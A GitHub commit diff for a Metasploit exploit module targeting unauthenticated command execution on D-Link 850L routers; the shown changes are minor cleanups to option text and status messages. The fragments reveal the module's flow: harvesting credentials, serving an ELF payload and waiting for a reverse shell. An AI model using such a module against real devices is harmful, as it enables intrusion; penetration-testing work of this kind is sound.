Skip to content

Commit e783cb5

Browse files
author
Austin
authored
add "check" & msftidy
1 parent 84599ed commit e783cb5

File tree

1 file changed

+3
-5
lines changed

1 file changed

+3
-5
lines changed

modules/exploits/linux/http/dlink_850l_unauth_exec.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -51,10 +51,10 @@ def initialize(info = {})
5151
OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
5252
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
5353
OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
54-
OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
54+
OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to listener', 10])
5555
])
5656
end
57-
57+
5858
def check
5959
begin
6060
res = send_request_cgi({
@@ -218,13 +218,11 @@ def execute(cmd, username, password)
218218

219219

220220
def exploit
221-
222221
print_status("#{peer} - Connecting to target...")
223222

224223
unless check == Exploit::CheckCode::Detected
225224
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
226225
end
227-
228226
#
229227
# Information Retrieval, obtains creds and logs in
230228
#
@@ -336,7 +334,7 @@ def on_request_uri(cli, request)
336334
# Waits for shell to connect back to us, otherwise server stops and nothing is returned
337335
#
338336
def wait_for_connect
339-
print_status("#{peer} - Waiting for shell to connect back to us...")
337+
print_status("#{peer} - Waiting #{datastore['CONNECTBACK_DELAY'].to_s} seconds for shell to connect back to us...")
340338
waited = 0
341339
while (@elf_sent)
342340
select(nil, nil, nil, 1)

0 commit comments

Comments
 (0)